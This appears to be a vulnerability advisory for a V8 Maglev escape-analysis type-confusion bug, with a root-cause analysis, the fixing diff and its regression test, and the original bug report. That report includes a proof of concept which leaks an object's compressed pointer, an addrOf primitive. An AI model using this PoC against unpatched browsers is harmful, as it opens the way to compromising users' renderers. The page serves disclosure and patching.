Overview

Medium
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Sub-componentMaglev
Bug ClassType Confusion
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: none; diff hoists transitive IsEscaping() before tracking, removes the shallow store-path and load-only checks, and renames to HasEscapingUses, matching the claimed transitive-escape type-confusion gap.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker495751197
Fix commita068030f5179 (v8/v8) +61/-15
CWECWE-843 (Type confusion)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedGoogle
Reported2026-03-24 (per vendor advisory)
Fix landed2026-03-26 (public git)
Disclosed2026-04-15
Patch gap20 days — fix public in source before the advisory

Background

Maglev
V8’s mid-tier optimizing JIT, which builds an SSA-like graph and can elide heap allocations by tracking them as VirtualObjects instead of materializing them.
`InlinedAllocation` escape analysis
Maglev tracks whether an inlined allocation “escapes” (is observable outside the optimized frame); a non-escaping object can be kept virtual and its fields mutated in place without a real store.
`HasEscapingUses` vs transitive `IsEscaping`
HasEscapingUses (formerly IsEscaping) is a shallow, single-node check (use_count_ > non_escaping_use_count_), whereas the transitive IsEscaping also walks nested/elided allocations via allocations_elide_map().
`allocations_elide_map()`
a map from an outer allocation to the inner allocations it references, so that mutating an inner object requires knowing whether the outer object escaped.

Root Cause Analysis

The object-tracking eligibility check (enclosing function name not shown in the hunk, taking a TrackObjectMode mode) decided whether an InlinedAllocation could be tracked/mutated as a virtual object. Before the patch it applied only the shallow alloc->IsEscaping() check on the kStore path, and reserved the transitive IsEscaping(graph_, alloc) walk for the kLoad path only. An allocation that does not itself have escaping uses but is nested inside an allocation that does escape would therefore pass the store-path check, letting Maglev keep it virtual and elide/mutate it even though a side effect could observe or transition it.

The fix hoists a single transitive if (IsEscaping(alloc)) return false; to the top of the function so both loads and stores honor transitive escape, removes the now-redundant shallow store check and the load-only transitive check, and renames the shallow primitive to HasEscapingUses to make the distinction explicit. This closes the gap where a transitively-escaping object was treated as safely virtual.

Key insight
The store path used a non-transitive escape test that ignored escape through a nesting parent, so an object reachable from an escaped object was wrongly kept virtual; the fix applies the transitive IsEscaping check uniformly before any tracking decision.

Attack Path

  1. Set up an inlined allocation nested in an escaping object As in the PoC, create an arguments/iterator object that is captured by a WithContext (with (arguments)) so an outer object escapes while an inner tracked allocation appears non-escaping.
  2. Trigger optimization Warm up and %OptimizeMaglevOnNextCall(outer) so Maglev inlines and applies escape analysis, keeping the inner allocation virtual because the shallow store check misses its transitive escape.
  3. Mutate via a side effect A property getter (Object.prototype._leak) runs during the escaped access and performs this[1][0] = marker, transitioning the array/object’s map while Maglev still assumes the tracked object’s original map.
  4. Type confusion Maglev’s code continues to treat the object under the stale map/representation, producing a value of the wrong type (the PoC asserts the returned iterator value is no longer a number), i.e. a type confusion primitive (further read/write escalation is (inferred)).

Impact Assessment

An attacker running script in the renderer can trigger a type confusion in Maglev-optimized code by mutating an object whose transitive escape was missed, causing V8 to operate on it under an incorrect map/representation. The precondition is Maglev optimization of code that nests a tracked allocation inside an escaping object with an attacker-controlled side effect. The advisory classifies this as type confusion in V8 and does not report exploited-in-the-wild status; escalation to arbitrary read/write or code execution beyond the confusion the PoC demonstrates is (inferred).

Changed Functions

FunctionChangeNotes
for
src/maglev/maglev-graph-builder.cc
modified
if
src/maglev/maglev-graph-builder.cc
modified
get
test/mjsunit/maglev/regress-495751197.js
modified
if
test/mjsunit/maglev/regress-495751197.js
modified
with
test/mjsunit/maglev/regress-495751197.js
modified

Files Changed

  • src/maglev/maglev-graph-builder.cc
  • src/maglev/maglev-graph-builder.h
  • src/maglev/maglev-ir.h
  • src/maglev/maglev-post-hoc-optimizations-processors.h
  • test/mjsunit/maglev/regress-495751197.js

Audit Directions

  • Shallow vs transitive escape checks
    Grep for remaining HasEscapingUses() call sites and confirm each truly wants only the local use-count test rather than the transitive IsEscaping.
  • Nested/elided allocation reasoning
    Review any optimization that mutates or elides a virtual object without consulting allocations_elide_map() for escape through a containing object.
  • Side-effect re-entry during tracking
    Audit tracked-object mutation paths reachable while attacker-controlled callbacks (getters, with, proxies) can run and transition maps between the tracking decision and the mutation.
From a068030f517914f1f3f444fcb76c24f64c3e8f24 Mon Sep 17 00:00:00 2001
From: Victor Gomes <[email protected]>
Date: Thu, 26 Mar 2026 10:39:16 +0100
Subject: [PATCH] [maglev] Use transitive IsEscaping check for inlined allocations

Check if a virtual object is escaping transitively.

Rename non-transitive function to HasEscapeUses instead.

Fixed: 495751197
Change-Id: I1df519079515b522974708f5419a81b5cbee7ade
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7702700
Reviewed-by: Marja Hölttä <[email protected]>
Commit-Queue: Victor Gomes <[email protected]>
Cr-Commit-Position: refs/heads/main@{#106064}
---

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index c9ecaeb..2e073a5 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4649,19 +4649,20 @@
   CHECK(!result.IsDoneWithAbort());
 }
 
-namespace {
-bool IsEscaping(Graph* graph, InlinedAllocation* alloc) {
-  if (alloc->IsEscaping()) return true;
-  auto it = graph->allocations_elide_map().find(alloc);
-  if (it == graph->allocations_elide_map().end()) return false;
+bool MaglevGraphBuilder::IsEscaping(InlinedAllocation* alloc) {
+  if (alloc->HasEscapingUses()) return true;
+  auto it = graph_->allocations_elide_map().find(alloc);
+  if (it == graph_->allocations_elide_map().end()) return false;
   for (InlinedAllocation* inner_alloc : it->second) {
-    if (IsEscaping(graph, inner_alloc)) {
+    if (IsEscaping(inner_alloc)) {
       return true;
     }
   }
   return false;
 }
 
+namespace {
+
 bool VerifyIsNotEscaping(VirtualObjectList vos, InlinedAllocation* alloc) {
   for (VirtualObject* vo : vos) {
     if (vo->allocation() == alloc) continue;
@@ -4671,7 +4672,7 @@
       if (!nested_value->Is<InlinedAllocation>()) return true;
       ValueNode* nested_alloc = nested_value->Cast<InlinedAllocation>();
       if (nested_alloc == alloc) {
-        if (vo->allocation()->IsEscaping() ||
+        if (vo->allocation()->HasEscapingUses() ||
             !VerifyIsNotEscaping(vos, vo->allocation())) {
           escaped = true;
         }
@@ -4690,6 +4691,7 @@
   if (!v8_flags.maglev_object_tracking) return false;
   if (!receiver->Is<InlinedAllocation>()) return false;
   InlinedAllocation* alloc = receiver->Cast<InlinedAllocation>();
+  if (IsEscaping(alloc)) return false;
   if (mode == TrackObjectMode::kStore) {
     // If we have two objects A and B, such that A points to B (it contains B in
     // one of its field), we cannot change B without also changing A, even if
@@ -4698,7 +4700,6 @@
         graph_->allocations_elide_map().end()) {
       return false;
     }
-    if (alloc->IsEscaping()) return false;
     // Ensure object is escaped if we are within a try-catch block. This is
     // crucial because a deoptimization point inside the catch handler could
     // re-materialize objects differently, depending on whether the throw
@@ -4707,9 +4708,6 @@
     // the try-block started,  but for now, err on the side of caution and
     // always escape.
     if (IsInsideTryBlock()) return false;
-  } else {
-    DCHECK_EQ(mode, TrackObjectMode::kLoad);
-    if (IsEscaping(graph_, alloc)) return false;
   }
   // We don't support loop phis inside VirtualObjects, so any access inside a
   // loop should escape the object, except for objects that were created since
@@ -9397,7 +9395,7 @@
     VirtualObject* array = iterated_object->Cast<InlinedAllocation>()->object();
     // TODO(victorgomes): Remove this once we track changes in the inlined
     // allocated object.
-    if (iterated_object->Cast<InlinedAllocation>()->IsEscaping()) {
+    if (IsEscaping(iterated_object->Cast<InlinedAllocation>())) {
       FAIL("allocation is escaping, map could have been changed");
     }
     // TODO(victorgomes): This effectively disable the optimization for `for-of`
@@ -12553,7 +12551,7 @@
   }
   // TODO(victorgomes): We can probably loosen the IsNotEscaping requirement if
   // we keep track of the arguments object changes so far.
-  if (alloc->IsEscaping()) return {};
+  if (IsEscaping(alloc)) return {};
   VirtualObject* object = alloc->object();
   if (!object->has_static_map()) return {};
   // TODO(victorgomes): Support simple JSArray forwarding.
diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.h
index a0a8261..4be7e56 100644
--- a/src/maglev/maglev-graph-builder.h
+++ b/src/maglev/maglev-graph-builder.h
@@ -1514,6 +1514,7 @@
       ValueNode* object, ValueNode* callable,
       compiler::FeedbackSource feedback_source);
 
+  bool IsEscaping(InlinedAllocation* allocation);
   VirtualObject* GetObjectFromAllocation(InlinedAllocation* allocation);
   VirtualObject* GetModifiableObjectFromAllocation(
       InlinedAllocation* allocation);
diff --git a/src/maglev/maglev-ir.h b/src/maglev/maglev-ir.h
index f28dd09..51e9cd3 100644
--- a/src/maglev/maglev-ir.h
+++ b/src/maglev/maglev-ir.h
@@ -6119,7 +6119,7 @@
     DCHECK(!HasBeenAnalysed());
     non_escaping_use_count_ += n;
   }
-  bool IsEscaping() const {
+  bool HasEscapingUses() const {
     DCHECK(!HasBeenAnalysed());
     return use_count_ > non_escaping_use_count_;
   }
diff --git a/src/maglev/maglev-post-hoc-optimizations-processors.h b/src/maglev/maglev-post-hoc-optimizations-processors.h
index a774028..715cef1 100644
--- a/src/maglev/maglev-post-hoc-optimizations-processors.h
+++ b/src/maglev/maglev-post-hoc-optimizations-processors.h
@@ -382,7 +382,7 @@
       auto* alloc = it.first;
       if (alloc->HasBeenAnalysed()) continue;
       // Check if all its uses are non escaping.
-      if (alloc->IsEscaping()) {
+      if (alloc->HasEscapingUses()) {
         // Escape this allocation and all its dependencies.
         EscapeAllocation(graph, alloc, it.second);
       } else {
diff --git a/test/mjsunit/maglev/regress-495751197.js b/test/mjsunit/maglev/regress-495751197.js
new file mode 100644
index 0000000..b6e5bae
--- /dev/null
+++ b/test/mjsunit/maglev/regress-495751197.js
@@ -0,0 +1,47 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+let do_transition = false;
+let marker = {x: 1.337};
+
+Object.defineProperty(Object.prototype, '_leak', {
+  get() {
+    if (do_transition) {
+      this[1][0] = marker;
+    }
+    return this;
+  },
+  configurable: true
+});
+
+function target(iter) {
+  return iter.next().value;
+}
+
+function inner() {
+  var leaked;
+  // Forces WithContext creation. _leak triggers the runtime call.
+  with (arguments) { leaked = _leak; }
+  return target.apply(null, arguments);
+}
+
+function outer() {
+  let a = [1.1, 2.2, 3.3];
+  let iter = a.values();
+  return inner(iter, a);
+}
+
+%PrepareFunctionForOptimization(target);
+%PrepareFunctionForOptimization(inner);
+%PrepareFunctionForOptimization(outer);
+
+outer(); outer(); outer();
+
+%OptimizeMaglevOnNextCall(outer);
+
+do_transition = true;
+let r = outer();
+assertFalse(typeof r === "number");
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/maglev/regress-495751197.js b/test/mjsunit/maglev/regress-495751197.js
new file mode 100644
index 0000000..b6e5bae
--- /dev/null
+++ b/test/mjsunit/maglev/regress-495751197.js
@@ -0,0 +1,47 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+let do_transition = false;
+let marker = {x: 1.337};
+
+Object.defineProperty(Object.prototype, '_leak', {
+  get() {
+    if (do_transition) {
+      this[1][0] = marker;
+    }
+    return this;
+  },
+  configurable: true
+});
+
+function target(iter) {
+  return iter.next().value;
+}
+
+function inner() {
+  var leaked;
+  // Forces WithContext creation. _leak triggers the runtime call.
+  with (arguments) { leaked = _leak; }
+  return target.apply(null, arguments);
+}
+
+function outer() {
+  let a = [1.1, 2.2, 3.3];
+  let iter = a.values();
+  return inner(iter, a);
+}
+
+%PrepareFunctionForOptimization(target);
+%PrepareFunctionForOptimization(inner);
+%PrepareFunctionForOptimization(outer);
+
+outer(); outer(); outer();
+
+%OptimizeMaglevOnNextCall(outer);
+
+do_transition = true;
+let r = outer();
+assertFalse(typeof r === "number");
Loading diff…

Original Bug Report

reported by [email protected]

Differential fuzz: Type Confusion in Maglev JIT via Non-transitive IsEscaping Checks

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A potential type confusion vulnerability exists in V8’s Maglev compiler due to non-transitive IsEscaping() checks during graph building. An attacker can exploit this by nesting an array inside an escaping context, bypassing map checks, and transitioning the array’s elements kind at runtime to achieve an addrOf primitive.

Affected files:

  • src/maglev/maglev-graph-builder.cc

Estimated timestamp from git blame: 2025-11-25

Summary

A potential critical type confusion vulnerability exists in V8’s Maglev JIT compiler. The issue arises because the IsEscaping() method on InlinedAllocation objects evaluates non-transitively during the graph building phase. When a nested object (like an array stored within an arguments object, which is then stored within a WithContext) escapes transitively through its container, Maglev fails to detect this escape locally on the nested object. Consequently, Maglev incorrectly assumes the nested object’s map cannot change and omits critical speculation guards (like CheckMaps), leading to type confusion and an addrOf primitive.

Root Cause Analysis

The vulnerability centers around how Maglev determines if an inlined allocation escapes its immediate uses during graph building in v8/src/maglev/maglev-graph-builder.cc.

  1. Non-Transitive IsEscaping(): The InlinedAllocation::IsEscaping() method in maglev-ir.h simply checks use_count_ > non_escaping_use_count_. During graph building, when object A is stored into object B (e.g., via AddNonEscapingUses), A’s non_escaping_use_count_ is incremented. If B subsequently escapes (e.g., by being passed to a CallRuntime node which only increments B’s use_count_), B is correctly marked as escaping. However, this escape status is not propagated back to A during graph building. A->IsEscaping() continues to return false.

  2. Omitted Map Checks: In TryReduceArrayIteratorPrototypeNext, Maglev checks if the iterated_object is an InlinedAllocation and if IsEscaping() is false. If false, it trusts the compile-time map of the object (e.g., PACKED_DOUBLE_ELEMENTS) and completely omits emitting a CheckMaps guard before building the element load operations.

  3. The Escape Path: An attacker can craft a scenario where:

    • An array of doubles (a) and its iterator are passed to an inner function.
    • The inner function uses with (arguments) { ... }, forcing Maglev to create a WithContext (InlinedAllocation) that contains the arguments object.
    • Inside the with block, a property lookup triggers a CallRuntime(Runtime::kLoadLookupSlot), passing the WithContext as an argument. The WithContext now escapes.
    • The runtime call executes a user-defined getter (e.g., on Object.prototype).
  4. Type Confusion: While executing the user-defined getter in the runtime/interpreter, the attacker accesses the array a via the arguments object and stores a non-Number object into it. This forces a map transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS.

  5. Exploitation: When the runtime call returns to the Maglev-compiled code, it proceeds to execute an inlined iter.next() call. Because the CheckMaps guard was omitted (step 2), Maglev blindly reads an 8-byte chunk from the array’s backing store using a double-precision float load instruction. Since the array now contains 32-bit compressed object pointers, Maglev returns these pointers to the attacker as a Javascript Number, yielding a reliable addrOf primitive.

Potential Exploitation Steps

(Note: These are suggested potential steps, as our setup cannot execute the code directly.)

An attacker could use the following Proof of Concept (PoC) to trigger the vulnerability and leak the compressed pointer of an arbitrary object (marker):

// FLAGS: --allow-natives-syntax

let do_transition = false;
let marker = {x: 1.337};

Object.defineProperty(Object.prototype, '_leak', {
  get() {
    if (do_transition) {
      this[1][0] = marker;   // PACKED_DOUBLE -> PACKED_ELEMENTS transition
    }
    return this;
  },
  configurable: true
});

function target(iter) {
  return iter.next().value;
}

function inner() {
  var leaked;
  // Forces WithContext creation. _leak triggers the runtime call.
  with (arguments) { leaked = _leak; }
  return target.apply(null, arguments);
}

function outer() {
  let a = [1.1, 2.2, 3.3];
  let iter = a.values();
  return inner(iter, a);
}

%PrepareFunctionForOptimization(target);
%PrepareFunctionForOptimization(inner);
%PrepareFunctionForOptimization(outer);

outer(); outer(); outer();

%OptimizeMaglevOnNextCall(outer);
do_transition = true;
let r = outer();

if (typeof r === "number" && r !== 1.1) {
  let f64 = new Float64Array(1);
  f64[0] = r;
  let u32 = new Uint32Array(f64.buffer);
  console.log("lo32: 0x" + u32[0].toString(16).padStart(8, '0') + " (compressed ptr to marker)");
  console.log("hi32: 0x" + u32[1].toString(16).padStart(8, '0'));
}

Proposed Fix

The fundamental issue is relying on a non-transitive IsEscaping() check to omit map speculation guards during graph building. EscapeAnalysis (which accurately computes transitive escapes) runs as a post-hoc processor, which is too late to insert missing guards.

Potential fixes include:

  1. Conservatively Disable the Optimization: In TryReduceArrayIteratorPrototypeNext, disable the optimization that omits CheckMaps if the object is an InlinedAllocation. Always emit CheckMaps unless it can be proven definitively (e.g., via the later EscapeAnalysis pass or a more robust early check) that the object cannot escape.
  2. Propagate Escapes During Graph Building: Modify the graph building phase so that when an InlinedAllocation (like WithContext) escapes (e.g., its use_count_ increases without a corresponding non_escaping_use_count_ increase), this escape status is transitively propagated to all nested InlinedAllocation dependencies immediately, rather than waiting for the post-hoc EscapeAnalysis pass.
  3. Restrict IsEscaping(): Modify IsEscaping() to return true (or “unknown”) if the object is stored inside another InlinedAllocation whose escape status is not definitively known or cannot be tracked during graph building.

Evaluated with Chrome root at commit: 9760e6c70cd33a320713361f17c6dcca85648c0f


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. Please feel free to reach out to me if you have concerns or feedback.

View on issue tracker